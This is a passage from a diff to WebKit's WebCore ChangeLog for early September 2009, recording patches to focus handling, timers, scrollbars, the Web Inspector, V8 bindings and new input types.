+        * loader/appcache/DOMApplicationCache.h:
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::applicationCache):
+
+2009-09-06  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        hostname and host are mixed up when manipulating anchor elements.
+        https://bugs.webkit.org/show_bug.cgi?id=28954
+
+        handle the case of port 0.
+
+        * html/HTMLAnchorElement.cpp:
+        (WebCore::HTMLAnchorElement::host):
+
+2009-09-06  Erik Arvidsson  <arv@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Make hidden elements not focusable.
+
+        Clean up supportsFocus and isFocusable.
+        supportsFocus now strictly means that the node can be focused by default.
+        This is true for links, form controls and content editable elements for example.
+        isFocusable means that the user can actually focus it.
+        All (2) calls to supportsFocus have been updated to take this into account.
+        
+        Make a elements without href work correctly as well.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27099
+
+        Tests: fast/events/click-focus-anchor.html
+               fast/events/tab-focus-anchor.html
+               fast/events/tab-focus-hidden.html
+
+        * dom/Element.cpp:
+        (WebCore::Element::focus):
+        * dom/Node.cpp:
+        (WebCore::Node::supportsFocus):
+        (WebCore::Node::isFocusable):
+        * dom/Node.h:
+        * html/HTMLAnchorElement.cpp:
+        (WebCore::HTMLAnchorElement::supportsFocus):
+        (WebCore::HTMLAnchorElement::isMouseFocusable):
+        (WebCore::HTMLAnchorElement::isKeyboardFocusable):
+        * html/HTMLAnchorElement.h:
+        * html/HTMLAreaElement.cpp:
+        (WebCore::HTMLAreaElement::supportsFocus):
+        * html/HTMLAreaElement.h:
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::supportsFocus):
+        * html/HTMLElement.h:
+        * html/HTMLFieldSetElement.cpp:
+        (WebCore::HTMLFieldSetElement::supportsFocus):
+        * html/HTMLFieldSetElement.h:
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLFormControlElement::supportsFocus):
+        (WebCore::HTMLFormControlElement::isFocusable):
+        * html/HTMLFrameElementBase.cpp:
+        (WebCore::HTMLFrameElementBase::supportsFocus):
+        * html/HTMLFrameElementBase.h:
+        * html/HTMLLegendElement.cpp:
+        (WebCore::HTMLLegendElement::supportsFocus):
+        * html/HTMLLegendElement.h:
+        * html/HTMLOptGroupElement.cpp:
+        (WebCore::HTMLOptGroupElement::supportsFocus):
+        (WebCore::HTMLOptGroupElement::isFocusable):
+        * html/HTMLOptGroupElement.h:
+        * html/HTMLOptionElement.cpp:
+        (WebCore::HTMLOptionElement::supportsFocus):
+        (WebCore::HTMLOptionElement::isFocusable):
+        * html/HTMLOptionElement.h:
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::dispatchMouseEvent):
+        * page/FocusController.cpp:
+        (WebCore::FocusController::advanceFocus):
+        * svg/SVGAElement.cpp:
+        (WebCore::SVGAElement::supportsFocus):
+        (WebCore::SVGAElement::isFocusable):
+        * wml/WMLAElement.cpp:
+        (WebCore::WMLAElement::supportsFocus):
+        * wml/WMLAElement.h:
+        * wml/WMLFormControlElement.cpp:
+        (WebCore::WMLFormControlElement::supportsFocus):
+        (WebCore::WMLFormControlElement::isFocusable):
+        * wml/WMLFormControlElement.h:
+
+2009-09-06  Joel Stanley  <joel@jms.id.au>
+
+        Reviewed by Dimitri Glazkov.
+
+        Expose functions to set the caret blink interval for Linux Chromium.
+        Default value is set to that of RenderTheme::caretBlankInterval().
+        Uses caretBlinkIntervalInternal to avoid overriding
+        RenderThemeChromiumSkia::caretBlankInterval to preserve the disabling
+        of blinking caret required for layout tests.
+        https://bugs.webkit.org/show_bug.cgi?id=28931
+
+        * rendering/RenderThemeChromiumLinux.cpp:
+        (WebCore::RenderThemeChromiumLinux::RenderThemeChromiumLinux):
+        (WebCore::RenderThemeChromiumLinux::setCaretBlinkInterval):
+        (WebCore::RenderThemeChromiumLinux::caretBlinkIntervalInternal):
+        * rendering/RenderThemeChromiumLinux.h:
+
+2009-09-06  Ada Chan  <adachan@apple.com>
+
+        Remove an extra </File> in WebCore.vcproj.
+
+        * WebCore.vcproj/WebCore.vcproj:
+
+2009-09-06  Timothy Hatcher  <timothy@apple.com>
+
+        Adds a persistent setting for color format in the Web Inspector.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28889
+
+        Reviewed by Dan Bernstein.
+
+        * English.lproj/localizedStrings.js: New strings.
+        * inspector/front-end/Color.js: Minor style fixes.
+        (WebInspector.Color.prototype.toString): Added. Replaces the individual
+        "toFoo" functions. Takes a optional arguments for the color format to return.
+        * inspector/front-end/Images/paneSettingsButtons.png: Added.
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylesSidebarPane.prototype._changeColorFormat): Update the sections to show
+        the new color format.
+        (WebInspector.StylePropertyTreeElement.prototype.updateTitle.processColor.changeColorDisplay):
+        Use the new toString function on Color.
+        (WebInspector.StylePropertyTreeElement.prototype.updateTitle.processColor): Use the persistent setting
+        to format colors by default. Add a tooltip for the color swatch.
+        * inspector/front-end/inspector.css: New styles for the settings menu.
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded): Initilize the colorFormat preference.
+
+2009-09-06  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        [Qt] Remove Qt v4.6 check from the prefetchDNS implementation
+        https://bugs.webkit.org/show_bug.cgi?id=28993
+
+        * platform/network/qt/DnsPrefetchHelper.cpp:
+        * platform/network/qt/DnsPrefetchHelper.h:
+
+2009-09-06  Cameron McCormack  <cam@mcc.id.au>
+
+        Reviewed by Eric Seidel.
+
+        Drop <definition-src> support
+        https://bugs.webkit.org/show_bug.cgi?id=28991
+
+        http://dev.w3.org/SVG/profiles/1.1F2/publish/changes.html#FontsChapter
+
+        * DerivedSources.cpp: Remove references to definition-src.
+        * DerivedSources.make: Ditto.
+        * GNUmakefile.am: Ditto.
+        * WebCore.gypi: Ditto.
+        * WebCore.pro: Ditto.
+        * WebCore.vcproj/WebCore.vcproj: Ditto.
+        * WebCore.xcodeproj/project.pbxproj: Ditto.
+        * bindings/objc/DOM.mm:
+        (WebCore::createElementClassMap): Ditto.
+        * bindings/objc/DOMSVG.h: Ditto.
+        * bindings/v8/DerivedSourcesAllInOne.cpp: Ditto.
+        * bindings/v8/V8DOMWrapper.cpp: Ditto.
+        * bindings/v8/V8Index.cpp: Ditto.
+        * bindings/v8/V8Index.h: Ditto.
+        * svg/SVGAllInOne.cpp: Ditto.
+        * svg/SVGDefinitionSrcElement.cpp: Removed.
+        * svg/SVGDefinitionSrcElement.h: Removed.
+        * svg/SVGDefinitionSrcElement.idl: Removed.
+        * svg/SVGFontFaceElement.cpp:
+        (WebCore::SVGFontFaceElement::rebuildFontFace): Don't search for
+        definition-src child.
+        * svg/svgtags.in: Remove definition-src.
+
+2009-09-05  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [Chromium] Roll out http://trac.webkit.org/changeset/48094, because the
+        logic of retrieving default caret blink interval was incorrect (non-existent)
+        and caused layout test flakiness.
+
+        * rendering/RenderThemeChromiumLinux.cpp:
+        * rendering/RenderThemeChromiumLinux.h:
+
+2009-09-05  Jian Li  <jianli@chromium.org>
+
+        Reviewed by NOBODY (Chromium reliability build break).
+
+        Back up partial change in r48072 in order to fix chromium reliability build break.
+
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::invokeEventHandler):
+
+2009-09-05  Nicolas Weber  <thakis@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28975
+        Fix file upload on chrome/mac. Images that have "Hide Extension" set,
+        such as screenshots by default, can now be uploaded to sites such as
+        imgur.com.
+
+        * platform/FileSystem.h:
+        Add pathGetDisplayFileName().
+        * platform/chromium/FileChooserChromium.cpp:
+        (WebCore::FileChooser::basenameForWidth):
+        Call pathGetDisplayFileName() instead of pathGetFileName().
+        * platform/chromium/FileSystemChromiumLinux.cpp:
+        (WebCore::pathGetDisplayFileName):
+        Implement pathGetDisplayFileName() by delegating to pathGetFileName().
+        * platform/chromium/FileSystemChromiumMac.mm:
+        (WebCore::pathGetFileName):
+        Now returns a real filename instead of a presentational one, which
+        fixes the problem addressed by this change.
+        (WebCore::pathGetDisplayFileName):
+        New function that returns a presentational filename; does what
+        pathGetDisplayFileName() did prior to this patch.
+        * platform/chromium/FileSystemChromiumWin.cpp:
+        (WebCore::pathGetDisplayFileName):
+        Implement pathGetDisplayFileName() by delegating to pathGetFileName().
+
+2009-09-05  Joel Stanley  <joel@jms.id.au>
+
+        Reviewed by David Levin.
+
+        Expose functions to set the caret blink interval for Linux Chromium.
+        https://bugs.webkit.org/show_bug.cgi?id=28931
+
+        * rendering/RenderThemeChromiumLinux.cpp:
+        (WebCore::RenderThemeChromiumLinux::setCaretBlinkInterval):
+        (WebCore::RenderThemeChromiumLinux::caretBlinkInterval):
+        * rendering/RenderThemeChromiumLinux.h:
+
+2009-09-04  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by David Levin.
+
+        Prevent UI freeze in case when too many timers are in the timer queue.
+        https://bugs.webkit.org/show_bug.cgi?id=23865
+
+        The fix measures the elapsed time while executing timers. If we have too many
+        timers and it takes significant time to fire, quit the loop and reschedule.
+        This lets the run loop process user input (close the window for example).
+
+        * platform/ThreadTimers.h:
+        * platform/ThreadTimers.cpp:
+        (WebCore::ThreadTimers::sharedTimerFiredInternal):
+        (WebCore::ThreadTimers::fireTimersInNestedEventLoop):
+        Removed functions and members used before to grab a list of all expired timers.
+        Now we fetch one by one, measuring time and quitting the loop if it takes too long.
+        * platform/Timer.cpp:
+        (WebCore::TimerBase::isActive):
+        (WebCore::TimerBase::setNextFireTime):
+        Since timers are now fired one by one, there is no need to keep track of updated timers.
+        * manual-tests/input-starved-by-timers.html: Manual test that attempts to freeze browser by
+        creating of enough timers. It then keeps UI frozen and after 10 seconds starts to drain the timers
+        so the browser un-freezes. This is instead of a regular layout test because we don't have a way
+        to inject an input events via regular run loop in DRT - instead they are directly dispatched by
+        eventSender, which does not reproduce the UI freeze that happens with real input.
+
+2009-09-04  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        <rdar://problem/7201063>
+        
+        Detach any custom scrollbars before detaching the document.
+        
+        * page/Frame.cpp:
+        (WebCore::Frame::setView):
+
+2009-09-04  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+                Unreviewed, build fix.
+
+                Remove remaining references to UserStyleSheetLoader after r48075.
+
+                * WebCore.gypi:
+                * WebCore.xcodeproj/project.pbxproj:
+                * page/qt/FrameQt.cpp:
+                * page/wince/FrameWince.cpp:
+
+2009-09-04  Michelangelo De Simone  <micdesim@gmail.com>
+
+                Reviewed by David Levin.
+
+                https://bugs.webkit.org/show_bug.cgi?id=28988
+                Minor fix: "novalidate" attribute renamed in "noValidate", according to
+                HTML5 specs:
+                http://www.whatwg.org/specs/web-apps/current-work/#dom-fs-novalidate
+
+                * html/HTMLFormElement.cpp:
+                (WebCore::HTMLFormElement::noValidate):
+                (WebCore::HTMLFormElement::setNoValidate):
+                * html/HTMLFormElement.h:
+                * html/HTMLFormElement.idl:
+
+2009-09-04  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by David Levin.
+
+        Remove unused line of code from WorkerContext
+        https://bugs.webkit.org/show_bug.cgi?id=28990
+
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::importScripts):
+
+2009-09-04  Darin Adler  <darin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fix assertion seen when running buildbot.
+
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::DOMObjectWithGlobalPointer::createStructure): Create the structure without
+        the HasDefaultMark bit since this has a custom mark function.
+
+2009-09-04  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Adam Roben.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28984, remove the remote stylesheet loader on Mac/Qt.
+        Make sure the other code path (now used by everybody) can handle data URLs.
+
+        As per the post on webkit-dev, the ability to work remotely isn't working properly anyway (it doesn't
+        hold up the pending sheet count, so you'd just FOUC on every Web page), and it's extremely unlikely
+        that anybody is relying on this support.
+        
+        Tor Arne agreed it was ok to disable (he enabled it on the Qt side), and only Mac/Qt were using this
+        code.
+
+        * WebCore.pro:
+        * WebCore.xcodeproj/project.pbxproj:
+        * dom/Document.cpp:
+        (WebCore::Document::userStyleSheet):
+        * dom/Document.h:
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::begin):
+        * loader/UserStyleSheetLoader.cpp: Removed.
+        * loader/UserStyleSheetLoader.h: Removed.
+        * page/Frame.cpp:
+        (WebCore::Frame::reapplyStyles):
+        * page/Frame.h:
+        * page/Page.cpp:
+        (WebCore::Page::userStyleSheetLocationChanged):
+        (WebCore::Page::userStyleSheet):
+        * page/mac/FrameMac.mm:
+        * page/qt/FrameQt.cpp:
+
+2009-09-04  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Add "sampling profiler" preference, simplify data display when it's set.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28969
+
+        * inspector/front-end/ProfileDataGridTree.js:
+        (WebInspector.ProfileDataGridNode.prototype.get data.formatMilliseconds):
+        (WebInspector.ProfileDataGridNode.prototype.get data):
+        * inspector/front-end/ProfileView.js:
+        (WebInspector.ProfileView):
+        * inspector/front-end/inspector.js:
+
+2009-09-04  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Run-time exception in onmessage handler is not forwarded to the worker object.
+        https://bugs.webkit.org/show_bug.cgi?id=28980
+
+        Tested by worker-close.html.
+
+        * bindings/v8/ScriptFunctionCall.cpp:
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::invokeEventHandler):
+        * bindings/v8/V8Utilities.cpp:
+        (WebCore::getScriptExecutionContext):
+        (WebCore::reportException):
+        * bindings/v8/V8Utilities.h:
+        (WebCore::getScriptExecutionContext):
+        * bindings/v8/custom/V8MessageChannelConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8SharedWorkerCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8XMLHttpRequestConstructor.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-09-04  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        Remove unused m_sheet variable and setCSSStyleSheet methods.
+
+        * dom/Document.cpp:
+        * dom/Document.h:
+
+2009-09-04  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by David Hyatt and Adele Peterson.
+
+        (Based on a patch from Adele).
+        
+        Fix <rdar://problem/7185875>.
+        
+        * page/Frame.cpp:
+        (WebCore::Frame::setView):
+        Detach any custom scroll bars from the old view.
+        
+        * page/FrameView.cpp:
+        (WebCore::FrameView::detachCustomScrollbars):
+        Simplify the check (and make it work when body is null) by just checking that the scroll bar owner is
+        not a RenderPart object.
+
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::destroy):
+        ASSERT that frame() is not null here and also add a null check so that release builds won't crash.
+
+2009-09-04  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Make m_userStyleSheetLoader in Frame an OwnPtr.
+
+        * page/Frame.cpp:
+        (WebCore::Frame::Frame):
+        (WebCore::Frame::~Frame):
+        * page/Frame.h:
+        * page/mac/FrameMac.mm:
+        (WebCore::Frame::setUserStyleSheetLocation):
+        (WebCore::Frame::setUserStyleSheet):
+
+2009-09-04  Timothy Hatcher  <timothy@apple.com>
+
+        Show color swatches in the Web Inspector before the color text so clicking them will not
+        shift the swatch. Also makes multiple swatches in the single property toggle the color format.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28978
+
+        Reviewed by Darin Adler.
+
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertyTreeElement.prototype.updateTitle): Some refactoring to consolidate
+        the processing we do on the property value. This eliminated the old nickname code, since the new
+        WebInspector.Color class handles this. We could also simplify the color regex since more
+        is handled by the Color class. Also no longer uses innerHTML for the linkify code.
+        (WebInspector.StylePropertyTreeElement.prototype.updateTitle.processValue): Helper function to
+        process a value given a regex and processor functions. 
+        (WebInspector.StylePropertyTreeElement.prototype.updateTitle.linkifyURL): Make an anchor for the
+        URL with "url()" syntax surrounding it.
+        (WebInspector.StylePropertyTreeElement.prototype.updateTitle.processColor): Makes a color, if
+        there was an exception just return a text node.
+        (WebInspector.StylePropertyTreeElement.prototype.updateTitle.processColor.changeColorDisplay.changeTo):
+        Moved from later in the file.
+        (WebInspector.StylePropertyTreeElement.prototype.updateTitle.processColor.changeColorDisplay): Ditto.
+        * inspector/front-end/inspector.css:
+
+2009-09-04  Mark Mentovai  <mark@chromium.org>
+
+        Reviewed by Dave Hyatt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28614
+
+        Account for scrollbar state changes that occur during layout.
+
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::updateScrollbars):
+
+        Perform a layout prior to checking whether the scrollbar modes are
+        off, on, or automatic.  The modes may change during layout.
+
+        * WebCore.base.exp:
+        * WebCore.order:
+        * page/Frame.cpp:
+        (WebCore::Frame::createView):
+        * page/FrameView.cpp:
+        (WebCore::FrameView::FrameView):
+        (WebCore::FrameView::resetScrollbars):
+        (WebCore::FrameView::layout):
+        * page/FrameView.h:
+        * platform/ScrollView.h:
+
+        Eliminate duplicated (and incorrect) scrollbar mode tracking between
+        FrameView and ScrollView.
+
+2009-09-04  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        hostname and host are mixed up when manipulating anchor elements.
+        https://bugs.webkit.org/show_bug.cgi?id=28954
+
+        Swapped the implementation of host and hostname, and made sure not to return
+        the port number if it is default for the given protocol. 
+        FireFox also avoids returning the protocol number if it is default.
+
+        Test: fast/dom/Element/hostname-host.html
+
+        * html/HTMLAnchorElement.cpp:
+        (WebCore::HTMLAnchorElement::host):
+        (WebCore::HTMLAnchorElement::hostname):
+        * page/SecurityOrigin.cpp:
+        (WebCore::SecurityOrigin::isDefaultPortForProtocol):
+        * page/SecurityOrigin.h:
+
+2009-09-04  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Darin Adler and Steve Falkenburg.
+
+        Fix <rdar://problem/7192902>.
+
+        Add the necessary plumbing for having QTMovieWin use WebCore timers.
+        
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
+        (WebCore::TaskTimer::initialize):
+        Create the timer and call QTMovieWin::setTaskTimerFuncs.
+        
+        (WebCore::TaskTimer::setTaskTimerDelay):
+        Start the timer.
+        
+        (WebCore::TaskTimer::stopTaskTimer):
+        Stop the timer.
+        
+        (WebCore::TaskTimer::fired):
+        Call QTMovieWin::taskTimerFired().
+        
+        (WebCore::MediaPlayerPrivate::load):
+        Initialize the Task timer.
+        
+        * platform/graphics/win/QTMovieWin.cpp:
+        (updateTaskTimer):
+        Call the global stopTaskTimer function and setTaskTimerDelay.
+        
+        (QTMovieWin::taskTimerFired):
+        Make this a member function.
+        
+        (QTMovieWin::setTaskTimerFuncs):
+        Set the global function pointers.
+        
+        (QTMovieWin::initializeQuickTime):
+        (DllMain):
+        No need to use the QT shared timer.
+        * platform/graphics/win/QTMovieWin.h:
+
+2009-09-04  Tony Chang  <tony@chromium.org>
+
+        Reviewed by David Levin.
+
+        Fix Chromium Win compile.  Missing return statement in
+        WebCore::RenderThemeChromiumSkia::paintSliderThumb.
+        https://bugs.webkit.org/show_bug.cgi?id=28974
+
+        No new tests, build fix.
+
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::RenderThemeChromiumSkia::paintSliderThumb):
+
+2009-09-04  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [Chromium] Rolling out http://trac.webkit.org/changeset/48035, because it broke
+        the build.
+        https://bugs.webkit.org/show_bug.cgi?id=28696
+
+2009-09-04  Anders Carlsson  <andersca@apple.com>
+
+        Fix vcproj file.
+
+        * WebCore.vcproj/WebCore.vcproj:
+
+2009-09-03  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Adam Roben.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28890, make simple user script injection work.
+        
+        This patch adds new API for adding and removing user scripts from page groups.  User scripts
+        are bundled together in isolated worlds (you can have multiple scripts together in the same
+        world).
+
+        Added userscripts/ directory for holding new tests (along with a simple test of script injection).
+
+        * WebCore.base.exp:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::evaluateInIsolatedWorld):
+        * bindings/js/ScriptController.h:
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::evaluateInIsolatedWorld):
+        * bindings/v8/ScriptController.h:
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::finishedParsing):
+        (WebCore::FrameLoader::dispatchDocumentElementAvailable):
+        * page/Frame.cpp:
+        (WebCore::Frame::injectUserScripts):
+        (WebCore::Frame::injectUserScriptsForWorld):
+        * page/Frame.h:
+        * page/PageGroup.cpp:
+        (WebCore::PageGroup::~PageGroup):
+        (WebCore::PageGroup::addUserScript):
+        (WebCore::PageGroup::removeUserContentForWorld):
+        (WebCore::PageGroup::removeAllUserContent):
+        * page/PageGroup.h:
+        (WebCore::PageGroup::userScripts):
+        * page/UserScript.h: Added.
+        (WebCore::UserScript::UserScript):
+        (WebCore::UserScript::source):
+        (WebCore::UserScript::url):
+        (WebCore::UserScript::patterns):
+        (WebCore::UserScript::worldID):
+        (WebCore::UserScript::injectionTime):
+        * page/UserScriptTypes.h: Added.
+        (WebCore::):
+
+2009-09-04  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26402
+        Crashes when using a detached DocumentType node
+
+        Test: fast/dom/DOMImplementation/detached-doctype.html
+
+        DocumentType nodes are the only one that can have null document(), and they can never have
+        children, so they are a degenerate case for NodeLists.
+
+        * dom/Node.cpp:
+        (WebCore::Node::childNodes): Don't try register node list with document if there's no
+        document. Since there are no changes possible for a DocumentType's node list, this is not
+        necessary.
+        (WebCore::Node::registerDynamicNodeList): Ditto.
+        (WebCore::Node::unregisterDynamicNodeList): Ditto. I couldn't find a scenario where this
+        was invoked for a DocumentType node, but I also couldn't prove that it can't be (the
+        de-registration code path that I saw taken was via Node destructor, and that already has
+        a null check for document).
+
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::JSNode::addEventListener): Bail out if there is no document (just as we already do
+        if there is no window).
+        (WebCore::JSNode::removeEventListener): Ditto.
+
+2009-09-04  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [GTK] loadFinished never emitted
+        https://bugs.webkit.org/show_bug.cgi?id=28935
+
+        Do not report errors right away from
+        ResourceHandle::start. Instead return true and schedule an error
+        to be reported in the handle later. Otherwise WebCore gets
+        confused and thinks the resource never finished loading, making it
+        not emit the finished status.
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::startHttp):
+        (WebCore::):
+
+2009-09-04  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Eric Seidel.
+
+        [V8] DOM Storage bindings: Event Handler should create StorageEvents
+        https://bugs.webkit.org/show_bug.cgi?id=28942
+        
+        Tests:
+        Causes the following tests that were failing with V8 to pass:
+        * storage/domstorage/localstorage/onstorage-attribute-setwindow.html
+        * storage/domstorage/localstorage/complex-keys.html
+        * storage/domstorage/localstorage/onstorage-attribute-markup.html
+        * storage/domstorage/localstorage/simple-events.html
+        * storage/domstorage/localstorage/onstorage-attribute-set-attribute.html
+        * storage/domstorage/localstorage/index-get-and-set.html
+        * storage/domstorage/sessionstorage/onstorage-attribute-setwindow.html
+        * storage/domstorage/sessionstorage/onstorage-attribute-markup.html
+        * storage/domstorage/sessionstorage/simple-events.html
+        * storage/domstorage/sessionstorage/onstorage-attribute-set-attribute.html
+        * storage/domstorage/sessionstorage/index-get-and-set.html
+
+        Code changes:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::convertEventToV8Object):  Create StorageEvents.
+        * bindings/v8/custom/V8StorageCustom.cpp:
+        (WebCore::storageGetter): Check if we are retrieving the length property and return the number of items in the object rather than a property named length when invoking the getItem() member of local/sessionStorage.
+
+2009-09-03  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28911
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::dispatchOnInjectedScript):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype.doEvalInWindow):
+        (WebInspector.ConsoleView.prototype._formatarray):
+        (WebInspector.ConsoleView.prototype._formatnode):
+        * inspector/front-end/DOMAgent.js:
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
+        (WebInspector.ElementsPanel.prototype.searchCanceled):
+        (WebInspector.ElementsPanel.prototype.performSearch):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.dispatch):
+        * inspector/front-end/InjectedScriptAccess.js: Added.
+        (InjectedScriptAccess._installHandler.InjectedScriptAccess.methodName):
+        (InjectedScriptAccess._installHandler):
+        * inspector/front-end/MetricsSidebarPane.js:
+        (WebInspector.MetricsSidebarPane.prototype.update):
+        (WebInspector.MetricsSidebarPane.prototype.editingCommitted):
+        * inspector/front-end/ObjectPropertiesSection.js:
+        (WebInspector.ObjectPropertiesSection.prototype.update):
+        (WebInspector.ObjectPropertyTreeElement.prototype.onpopulate):
+        (WebInspector.ObjectPropertyTreeElement.prototype.applyExpression):
+        * inspector/front-end/PropertiesSidebarPane.js:
+        (WebInspector.PropertiesSidebarPane.prototype.update):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourceSidebarTreeElement.prototype.ondblclick):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.doEvalInCallFrame):
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylesSidebarPane.prototype.update):
+        (WebInspector.StylePropertiesSection.prototype.editingSelectorCommitted):
+        (WebInspector.BlankStylePropertiesSection.prototype.editingCommitted):
+        (WebInspector.StylePropertyTreeElement.prototype):
+        * inspector/front-end/inspector.html:
+
+2009-09-04  Tony Chang  <tony@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Implement <input type="range"> for Chromium Linux by painting
+        the slider and the thumb using skia.
+        https://bugs.webkit.org/show_bug.cgi?id=28928
+
+        Covered by existing tests (we're currently hitting an assert for them).
+
+        * rendering/RenderThemeChromiumLinux.cpp:
+        (WebCore::RenderThemeChromiumLinux::adjustSliderThumbSize):
+        * rendering/RenderThemeChromiumLinux.h:
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::drawVertLine):
+        (WebCore::drawHorizLine):
+        (WebCore::drawBox):
+        (WebCore::RenderThemeChromiumSkia::paintSliderTrack):
+        (WebCore::RenderThemeChromiumSkia::paintSliderThumb):
+        * rendering/RenderThemeChromiumSkia.h:
+
+2009-09-04  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        - Implement <input type=color> as a text field.
+        - ValidityState::typeMismatch supports for type=color.
+        https://bugs.webkit.org/show_bug.cgi?id=28966
+
+        Tests: fast/forms/ValidityState-patternMismatch-unsupported.html
+               fast/forms/ValidityState-typeMismatch-color.html
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::valueMissing):
+        (WebCore::HTMLInputElement::patternMismatch):
+        (WebCore::HTMLInputElement::setInputType):
+        (WebCore::HTMLInputElement::formControlType):
+        (WebCore::HTMLInputElement::saveFormControlState):
+        (WebCore::HTMLInputElement::restoreFormControlState):
+        (WebCore::HTMLInputElement::accessKeyAction):
+        (WebCore::HTMLInputElement::rendererIsNeeded):
+        (WebCore::HTMLInputElement::createRenderer):
+        (WebCore::HTMLInputElement::appendFormData):
+        (WebCore::HTMLInputElement::valueWithDefault):
+        (WebCore::HTMLInputElement::storesValueSeparateFromAttribute):
+        (WebCore::HTMLInputElement::defaultEventHandler):
+        (WebCore::HTMLInputElement::isRequiredFormControl):
+        (WebCore::HTMLInputElement::dataList):
+        * html/HTMLInputElement.h:
+        (WebCore::HTMLInputElement::):
+        (WebCore::HTMLInputElement::isTextField):
+        * html/ValidityState.cpp:
+        (WebCore::ValidityState::typeMismatch):
+        (WebCore::ValidityState::isValidColorString):
+        * html/ValidityState.h:
+
+2009-09-04  Mads Ager  <ager@chromium.org>
+
+        Reviewed by David Levin.
+
+        [V8] Crash when updating document cache
+        https://bugs.webkit.org/show_bug.cgi?id=28965
+
+        Initialization of a V8 JavaScript context can fail.  When that
+        happens, do not attempt to update the document wrapper cache.
+
+        This code path is exercised by http/tests/security/javascriptURL/javascriptURL-in-new-iframe.html.
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::updateDocument):
+
+2009-09-04  Yaar Schnitman  <yaar@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Two bugs:
+
